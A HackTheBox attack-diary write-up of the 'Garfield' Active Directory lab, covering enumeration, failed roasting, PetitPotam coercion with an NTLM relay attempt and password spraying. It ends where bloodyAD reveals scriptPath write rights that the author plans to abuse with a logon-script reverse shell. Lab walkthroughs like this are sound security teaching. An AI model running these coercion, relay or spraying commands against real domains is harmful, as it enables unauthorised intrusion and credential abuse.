Skip to main content

Command Palette

Search for a command to run...

HTB Attack Diary — Garfield (Hard, Windows)

⚠️ Disclaimer: This writeup documents the exploitation of the "Garfield" machine on HackTheBox — a legal lab environment designed for security learning and research. All techniques are presented for educational purposes only. Never use these techniques against systems you don't have authorization to test.

Updated
43 min read
HTB Attack Diary — Garfield (Hard, Windows)

Introduction

Garfield is a Hard-rated Windows machine that simulates a realistic Active Directory environment with a primary Domain Controller (DC01) and a Read-Only Domain Controller (RODC01). You're handed a set of domain credentials from the start — assume breach, just like a real internal engagement.

What looked like a dead end after initial enumeration slowly unraveled into a 6-stage attack chain: from a logon script nobody was watching, through a password reset chain nobody locked down, to an RODC Golden Ticket that collapsed the entire domain's security model. This was my first Hard-rated box on HackTheBox — and the one that taught me that the tools you trust the most can also be the ones that lie to you.

Phase 1: Reconnaissance — "Mapping the Kingdom."

First Knock — Naabu

I started the way I always start — a full port scan with naabu to get the lay of the land, then nmap for service fingerprinting.

┌──(root㉿kali)-[/home/kali]
└─# naabu -host 10.129.195.112 -p - -s s -verify 

                  __
  ___  ___  ___ _/ /  __ __
 / _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/

                projectdiscovery.io

[INF] Current naabu version 2.5.0 (latest)
[WRN] UI Dashboard is disabled, Use -dashboard option to enable
[INF] Running SYN scan with CAP_NET_RAW privileges
10.129.195.112:5985
10.129.195.112:445
7f06:cbaa:a81:c370:a0a:e2a:1761:9f91:445
10.129.195.112:52113
7f06:cba9:a81:c370:a0a:e2a:1bd:9f91:52113
10.129.195.112:49673
7f06:cba8:a81:c370:a0a:e2a:cb91:9f91:49673
10.129.195.112:53
7f06:cba7:a81:c370:a0a:e2a:c209:9f91:53
10.129.195.112:88
7f06:cba6:a81:c370:a0a:e2a:35:9f91:88
10.129.195.112:49670
7f06:cba5:a81:c370:a0a:e2a:58:9f91:49670
10.129.195.112:593
7f06:cba4:a81:c370:a0a:e2a:c206:9f91:593
10.129.195.112:49674
7f06:cba3:a81:c370:a0a:e2a:251:9f91:49674
10.129.195.112:389
7f06:cba2:a81:c370:a0a:e2a:c20a:9f91:389
10.129.195.112:49671
7f06:cba1:a81:c370:a0a:e2a:185:9f91:49671
10.129.195.112:636
4006:7cd0:a0a:e2a:a81:c370:9f91:9f91:636
10.129.195.112:3268
7f06:cb9f:a81:c370:a0a:e2a:27c:9f91:3268
10.129.195.112:49899
7f06:cb9e:a81:c370:a0a:e2a:cc4:9f91:49899
10.129.195.112:3389
7f06:cb9d:a81:c370:a0a:e2a:c2eb:9f91:3389
10.129.195.112:2179
7f06:cb9c:a81:c370:a0a:e2a:d3d:9f91:2179
10.129.195.112:3269
7f06:cb9b:a81:c370:a0a:e2a:883:9f91:3269
10.129.195.112:9389
7f06:cb9a:a81:c370:a0a:e2a:cc5:9f91:9389
10.129.195.112:49666
7f06:cb99:a81:c370:a0a:e2a:24ad:9f91:49666

Looking Closer — Nmap

19 ports came back open. That's a lot of doors — but for a Domain Controller, it's expected. DNS, Kerberos, LDAP, SMB, RPC... the usual suspects. I filtered out the high ephemeral RPC ports and fed the meaningful ones into nmap:

┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sV -Pn -p 53,88,389,445,593,636,2179,3268,3269,3389,5985,9389,49666,49670,49671,49673,49674,49899,52113 10.129.195.112 -T4
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-07 03:49 -0400
Nmap scan report for garfield.htb (10.129.195.112)
Host is up (0.26s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-07 15:54:07Z)
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.garfield.htb
| Not valid before: 2026-02-13T01:10:36
|_Not valid after:  2026-08-15T01:10:36
|_ssl-date: 2026-04-07T15:55:40+00:00; +8h04m15s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: GARFIELD
|   NetBIOS_Domain_Name: GARFIELD
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: garfield.htb
|   DNS_Computer_Name: DC01.garfield.htb
|   DNS_Tree_Name: garfield.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2026-04-07T15:55:01+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
49899/tcp open  msrpc         Microsoft Windows RPC
52113/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-04-07T15:55:04
|_  start_date: N/A
|_clock-skew: mean: 8h04m14s, deviation: 0s, median: 8h04m14s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.73 seconds

The RDP certificate leaked the hostname: DC01.garfield.htb. Product version 10.0.17763 confirmed Windows Server 2019. SMB signing was enabled and required — no relay attacks against SMB, then. I added garfield.htb and DC01.garfield.htb to /etc/hosts and moved on.

Reconnaissance done. I had a clear picture of the target — a Windows Server 2019 Domain Controller with all the standard AD services. Now I needed to find out what my low-privilege account could actually touch.

Phase 2: Initial Enumeration — A Thousand Groups, Zero Paths

The Starting Point

The machine description handed me credentials upfront: j.arbuckle / Th1sD4mnC4t!@1978 — a standard domain user, no special privileges. Typical "assume breach" scenario.

First things first — confirm the credentials work and see what doors they open.

┌──(root㉿kali)-[/home/kali]
└─# netexec smb 10.129.195.112 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978'                                                   
SMB         10.129.195.112  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.195.112  445    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978                                                                                 

Valid. No Pwn3d! — just a regular domain user with nothing special. Or so I thought.

SMB — Reading the Signs Wrong

┌──(root㉿kali)-[/home/kali]
└─# netexec smb 10.129.195.112 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --shares
SMB         10.129.195.112  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.195.112  445    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978 
SMB         10.129.195.112  445    DC01             [*] Enumerated shares
SMB         10.129.195.112  445    DC01             Share           Permissions     Remark
SMB         10.129.195.112  445    DC01             -----           -----------     ------
SMB         10.129.195.112  445    DC01             ADMIN$                          Remote Admin
SMB         10.129.195.112  445    DC01             C$                              Default share
SMB         10.129.195.112  445    DC01             IPC$            READ            Remote IPC
SMB         10.129.195.112  445    DC01             NETLOGON        READ            Logon server share 
SMB         10.129.195.112  445    DC01             SYSVOL          READ            Logon server share

Standard DC shares. Only READ on NETLOGON and SYSVOL — nothing writable, nothing custom. I glanced at the output and moved on. What I didn't think about: share-level permissions and NTFS-level permissions are two different things, and netexec --shares only tells you about the first one. The scripts subfolder inside SYSVOL could have had its own NTFS ACL — far more permissive than what the share output suggested. But I didn't test that. The output said READ, so I took it at face value and kept walking — an assumption that would cost me hours later.

Domain Users — Familiar Faces

┌──(root㉿kali)-[/home/kali]
└─# netexec smb 10.129.195.112 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --users
SMB         10.129.195.112  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.195.112  445    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978 
SMB         10.129.195.112  445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-                                 
SMB         10.129.195.112  445    DC01             Administrator                 2025-10-03 17:29:26 0       Built-in account for administering the computer/domain
SMB         10.129.195.112  445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB         10.129.195.112  445    DC01             krbtgt                        2025-08-13 11:05:26 0       Key Distribution Center Service Account 
SMB         10.129.195.112  445    DC01             krbtgt_8245                   2025-08-17 11:33:39 0       Key Distribution Center service account for read-only domain controller
SMB         10.129.195.112  445    DC01             j.arbuckle                    2025-09-09 15:50:55 0        
SMB         10.129.195.112  445    DC01             l.wilson                      2026-01-27 21:40:33 0        
SMB         10.129.195.112  445    DC01             l.wilson_adm                  2026-01-13 14:56:35 0        
SMB         10.129.195.112  445    DC01             [*] Enumerated 7 local users: GARFIELD

Seven users. Small domain — fewer places to hide, but also fewer attack surfaces. The naming convention told a clear story: l.wilson and l.wilson_adm — a regular user and their privileged counterpart. Classic admin tiering. Compromise one, and the other is probably within reach.

But the most interesting entry wasn't a person at all. krbtgt_8245 — a KDC service account dedicated to a Read-Only Domain Controller. RODC01 wasn't just a hostname sitting in BloodHound data. It was a real machine with its own Kerberos key distribution, its own trust boundaries, and its own attack surface. I filed that away for later.

SYSVOL — A Script Hiding in Plain Sight

I dug into SYSVOL looking for Group Policy Preferences passwords, startup scripts, or anything that shouldn't be there.

┌──(root㉿kali)-[/home/kali]
└─# smbclient //10.129.195.112/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'recurse ON; prompt OFF; ls'
  .                                   D        0  Wed Aug 13 07:04:43 2025
  ..                                  D        0  Wed Aug 13 07:04:43 2025
  garfield.htb                       Dr        0  Wed Aug 13 07:04:43 2025

\garfield.htb
  .                                   D        0  Wed Aug 13 07:11:05 2025
  ..                                  D        0  Wed Aug 13 07:11:05 2025
  DfsrPrivate                      DHSr        0  Wed Aug 13 07:11:05 2025
  Policies                            D        0  Wed Aug 13 07:04:48 2025
  scripts                             D        0  Tue Jan 27 17:13:47 2026

\garfield.htb\DfsrPrivate
NT_STATUS_ACCESS_DENIED listing \garfield.htb\DfsrPrivate\*

\garfield.htb\Policies
  .                                   D        0  Wed Aug 13 07:04:48 2025
  ..                                  D        0  Wed Aug 13 07:04:48 2025
  {31B2F340-016D-11D2-945F-00C04FB984F9}      D        0  Wed Aug 13 07:04:48 2025
  {6AC1786C-016F-11D2-945F-00C04fB984F9}      D        0  Wed Aug 13 07:04:48 2025

\garfield.htb\scripts
  .                                   D        0  Tue Jan 27 17:13:47 2026
  ..                                  D        0  Tue Jan 27 17:13:47 2026
  printerDetect.bat                   A      217  Fri Sep 12 18:20:29 2025

\garfield.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
  .                                   D        0  Wed Aug 13 07:04:48 2025
  ..                                  D        0  Wed Aug 13 07:04:48 2025
  GPT.INI                             A       22  Tue Sep  9 11:55:03 2025
  MACHINE                             D        0  Wed Aug 13 07:11:08 2025
  USER                                D        0  Wed Aug 13 07:04:48 2025

\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
  .                                   D        0  Wed Aug 13 07:04:48 2025
  ..                                  D        0  Wed Aug 13 07:04:48 2025
  GPT.INI                             A       23  Fri Feb 13 20:14:50 2026
  MACHINE                             D        0  Tue Sep  9 12:43:51 2025
  USER                                D        0  Wed Aug 13 07:04:48 2025

\garfield.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE
  .                                   D        0  Wed Aug 13 07:11:08 2025
  ..                                  D        0  Wed Aug 13 07:11:08 2025
  Microsoft                           D        0  Wed Aug 13 07:04:48 2025
  Registry.pol                        A     2792  Wed Aug 13 07:11:08 2025

\garfield.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER
  .                                   D        0  Wed Aug 13 07:04:48 2025
  ..                                  D        0  Wed Aug 13 07:04:48 2025

\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE
  .                                   D        0  Tue Sep  9 12:43:51 2025
  ..                                  D        0  Tue Sep  9 12:43:51 2025
  Microsoft                           D        0  Wed Aug 13 07:04:48 2025
  Scripts                             D        0  Tue Sep  9 12:43:51 2025

\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\USER
  .                                   D        0  Wed Aug 13 07:04:48 2025
  ..                                  D        0  Wed Aug 13 07:04:48 2025

\garfield.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft
  .                                   D        0  Wed Aug 13 07:04:48 2025
  ..                                  D        0  Wed Aug 13 07:04:48 2025
  Windows NT                          D        0  Wed Aug 13 07:04:48 2025

\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft
  .                                   D        0  Wed Aug 13 07:04:48 2025
  ..                                  D        0  Wed Aug 13 07:04:48 2025
  Windows NT                          D        0  Tue Sep  9 12:44:18 2025

\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Scripts
  .                                   D        0  Tue Sep  9 12:43:51 2025
  ..                                  D        0  Tue Sep  9 12:43:51 2025
  Shutdown                            D        0  Tue Sep  9 12:43:51 2025
  Startup                             D        0  Tue Sep  9 12:43:51 2025

\garfield.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT
  .                                   D        0  Wed Aug 13 07:04:48 2025
  ..                                  D        0  Wed Aug 13 07:04:48 2025
  SecEdit                             D        0  Tue Sep  9 11:55:03 2025

\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT
  .                                   D        0  Tue Sep  9 12:44:18 2025
  ..                                  D        0  Tue Sep  9 12:44:18 2025
  Audit                               D        0  Tue Sep  9 12:44:18 2025
  SecEdit                             D        0  Fri Feb 13 20:14:50 2026

\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Scripts\Shutdown
  .                                   D        0  Tue Sep  9 12:43:51 2025
  ..                                  D        0  Tue Sep  9 12:43:51 2025

\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Scripts\Startup
  .                                   D        0  Tue Sep  9 12:43:51 2025
  ..                                  D        0  Tue Sep  9 12:43:51 2025

\garfield.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
  .                                   D        0  Tue Sep  9 11:55:03 2025
  ..                                  D        0  Tue Sep  9 11:55:03 2025
  GptTmpl.inf                         A     1098  Tue Sep  9 11:55:03 2025

\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\Audit
  .                                   D        0  Tue Sep  9 12:44:18 2025
  ..                                  D        0  Tue Sep  9 12:44:18 2025
  audit.csv                           A      535  Tue Sep  9 12:44:34 2025

\garfield.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
  .                                   D        0  Fri Feb 13 20:14:50 2026
  ..                                  D        0  Fri Feb 13 20:14:50 2026
  GptTmpl.inf                         A     3904  Fri Feb 13 20:14:50 2026

Deep inside the directory tree: two default GPOs, the usual GptTmpl.inf and audit.csv files, and one thing that stood out — garfield.htb\scripts\printerDetect.bat. A script sitting in the SYSVOL scripts folder. I pulled it down.

┌──(root㉿kali)-[/home/kali]
└─# smbclient //10.129.195.112/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'get garfield.htb\scripts\printerDetect.bat'
getting file \garfield.htb\scripts\printerDetect.bat of size 217 as garfield.htb\scripts\printerDetect.bat (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
                                                                                                                                                           
┌──(root㉿kali)-[/home/kali]
└─# cat printerDetect.bat
@echo off
echo Detecting installed printers...
echo ==============================

wmic printer get Name,DeviceID,PortName,DriverName,Shared,Status /format:table

echo.
echo Printer detection completed.
pause

A printer detection script. Nothing sensitive — no hardcoded credentials, no UNC paths to interesting shares, no PowerShell downloads. Just wmic doing inventory work. I almost dismissed it entirely.

Almost. Because a logon script sitting in SYSVOL is only harmless if nobody can change what it points to. I didn't know it yet, but this script — or rather, the attribute that controls which script runs at login — would become the entire foothold.

BloodHound — The Tool That Lied by Omission

Time to map the domain's attack surface properly. I ran bloodhound-python to collect everything:

┌──(root㉿kali)-[/home/kali]
└─# bloodhound-python -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' -d garfield.htb -ns 10.129.195.112 -c all --dns-tcp
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: garfield.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.garfield.htb
INFO: Testing resolved hostname connectivity dead:beef::a9a3:eefc:8283:4d4b
INFO: Trying LDAP connection to dead:beef::a9a3:eefc:8283:4d4b
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.garfield.htb
INFO: Testing resolved hostname connectivity dead:beef::a9a3:eefc:8283:4d4b
INFO: Trying LDAP connection to dead:beef::a9a3:eefc:8283:4d4b
INFO: Found 8 users
INFO: Found 55 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: RODC01.garfield.htb
INFO: Querying computer: DC01.garfield.htb
INFO: Done in 01M 48S

Two computers — DC01 and RODC01. Eight users. Fifty-five groups. I imported the JSON data into BloodHound and went straight for j.arbuckle:

The panel told me everything and nothing at the same time. Member of three groups: Users, Domain Users, and IT Support:

Admin Count: FALSE. Local Admin Privileges: 0. Execution Privileges: 0. And the number that would haunt me for hours — Outbound Object Control: 0:

Zero. According to BloodHound, j.arbuckle had no control over any other object in the entire domain. No GenericAll, no GenericWrite, no WriteDACL, no ForceChangePassword — nothing. The user was a ghost with a valid badge.

I ran Pathfinding anyway. Start node: J.ARBUCKLE@GARFIELD.HTB. End node: DOMAIN ADMINS@GARFIELD.HTB.

"Path not found."

I stared at that message longer than I'd like to admit, clicking through nodes, running every pre-built query I could find. Nothing. The graph showed j.arbuckle floating alone — a lonely node in a sea of fifty-five groups with no edges leading anywhere useful. No outbound control, no path to Domain Admins, no low-hanging fruit. That sinking feeling when your main recon tool gives you absolutely nothing — I knew this was going to be a long night.

Here's what I didn't understand yet: BloodHound — both Legacy and Community Edition — enumerates ACLs at the object level. It catches the big permissions: GenericAll, GenericWrite, WriteDACL, WriteOwner. But Active Directory permissions are more granular than that. You can grant someone write access to a single attribute on an object, and unless a tool specifically queries for attribute-level DACLs, that permission is invisible.

j.arbuckle didn't have GenericWrite on l.wilson. He had write access to exactly one attribute: scriptPath. And that one attribute was enough to compromise the entire domain.

But I didn't know that yet. So I did what anyone would do when the map shows no roads — I started bushwhacking.

Phase 3: Dead Ends — Chasing Ghosts in the Domain

BloodHound showed nothing. No paths, no edges, no hope. But I wasn't ready to accept that a Hard-rated machine just... had no way forward. The path existed — I just couldn't see it yet. So I started throwing everything I knew at the domain, one technique at a time.

AS-REP Roasting — Nobody Home

With BloodHound giving me nothing, I fell back on the classics. AS-REP Roasting first — if any account had pre-authentication disabled, I could grab their hash and crack it offline. Quick, easy, and the kind of win that makes you feel smart.

┌──(root㉿kali)-[/home/kali]
└─# impacket-GetNPUsers garfield.htb/ -usersfile users.txt -dc-ip 10.129.195.112 -no-pass
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.arbuckle doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User l.wilson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User l.wilson_adm doesn't have UF_DONT_REQUIRE_PREAUTH set

Four users, four rejections. Pre-auth enforced across the board. Fine — I wasn't expecting it to be that easy anyway.

Kerberoasting — Still Nothing

Maybe there was a service account with an SPN I could roast. Even a weak password on a SQL service account would give me lateral movement.

┌──(root㉿kali)-[/home/kali]
└─# impacket-GetUserSPNs garfield.htb/j.arbuckle:'Th1sD4mnC4t!@1978' -dc-ip 10.129.195.112
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

No entries found!

Nothing. Not a single SPN in the entire domain. Whoever built this environment didn't leave any legacy service accounts lying around. I was starting to respect the hardening.

PetitPotam — A Tempting Mirage

Two quick wins down, time for something heavier. PetitPotam — force DC01 to authenticate back to my machine via MS-EFSRPC, relay that to LDAP, and abuse it for delegation. I knew SMB signing was enforced, but maybe LDAP signing wasn't. It was worth a shot.

I set up ntlmrelayx targeting LDAP on DC01 and fired PetitPotam from a second terminal.

┌──(root㉿kali)-[/home/kali]
└─# python3 /home/kali/PetitPotam/PetitPotam.py 10.10.14.42 10.129.195.112 -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
/home/kali/PetitPotam/PetitPotam.py:23: SyntaxWarning: invalid escape sequence '\ '

Trying pipe lsarpc
[-] Connecting to ncacn_np:10.129.195.112[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

The coercion triggered. DC01 reached back to my machine. For a brief moment my pulse spiked — a domain controller's machine account authenticating to my relay, ready to be abused. Then the relay terminal killed it:

┌──(root㉿kali)-[/home/kali]
└─# impacket-ntlmrelayx -t ldap://10.129.195.112 -smb2support --delegate-access
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Protocol Client DCSYNC loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client WINRMS loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled

[*] Servers started, waiting for connections
[*] (SMB): Received connection from 10.129.195.112, attacking target ldap://10.129.195.112
[!] The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)
[-] (SMB): Authenticating against ldap://10.129.195.112 as GARFIELD/DC01$ FAILED

The client requested signing. The coercion was beautiful — the environment just didn't care. That one stung more than the others. Watching a perfect attack chain crumble at the last step is a special kind of frustration.

Password Spraying — Into the Void

One last Hail Mary before I gave up on conventional attacks entirely. Maybe someone in the domain reused j.arbuckle's password.

┌──(root㉿kali)-[/home/kali]
└─# netexec smb 10.129.195.112 -u users.txt -p 'Th1sD4mnC4t!@1978' --continue-on-success
SMB         10.129.195.112  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.195.112  445    DC01             [-] garfield.htb\Administrator:Th1sD4mnC4t!@1978 STATUS_LOGON_FAILURE 
SMB         10.129.195.112  445    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978 
SMB         10.129.195.112  445    DC01             [-] garfield.htb\l.wilson:Th1sD4mnC4t!@1978 STATUS_LOGON_FAILURE 
SMB         10.129.195.112  445    DC01             [-] garfield.htb\l.wilson_adm:Th1sD4mnC4t!@1978 STATUS_LOGON_FAILURE

The only hit was the account I already owned.

I leaned back and let the frustration settle. Every standard technique I knew — gone. The domain was hardened, my user appeared powerless, and BloodHound was blind. But here's the thing about being stuck: it forces you to question your tools. And the question that finally broke the case open wasn't "what else can I try?" — it was "what is BloodHound not showing me?"

Phase 4: The Breakthrough — What BloodHound Couldn't See

bloodyAD — Reading the Fine Print

Every standard tool had failed me. BloodHound, Impacket, netexec — all of them agreed: j.arbuckle was powerless. But I couldn't accept that. A Hard-rated machine doesn't just hand you credentials and then leave you with nothing. The path was there. My tools just weren't granular enough to see it.

I remembered a tool I'd read about but never had a reason to use: bloodyAD. Where BloodHound queries ACLs at the object level — "does this user have GenericWrite over that user?" — bloodyAD goes deeper. It checks individual attribute permissions. The fine print that everyone skips.

┌──(root㉿kali)-[/home/kali]
└─# bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host 10.129.195.112 get writable --detail 

distinguishedName: CN=Guest,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=garfield,DC=htb
url: WRITE
wWWHomePage: WRITE

distinguishedName: CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE

distinguishedName: CN=Jon Arbuckle,CN=Users,DC=garfield,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
url: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
scriptPath: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
wWWHomePage: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
l: WRITE
c: WRITE

distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE

distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE

The output exploded across my terminal. Dozens of writable attributes on multiple objects — cloud extension attributes, phone numbers, postal addresses, SMIME certificates. The kind of self-service fields any domain user can edit on their own account. Page after page of noise. I almost closed the terminal and moved on.

Almost.

Buried at the very bottom of the output, four lines that changed everything:

distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE

distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE

I read it twice to make sure I wasn't imagining things. j.arbuckle had write access to the scriptPath attribute — on l.wilson and l.wilson_adm.

scriptPath. The attribute that controls which logon script executes every time a user signs in. If I could overwrite it, I could point it to anything — a reverse shell sitting in SYSVOL, for instance. And if the machine simulated l.wilson's login, my payload would execute as l.wilson.

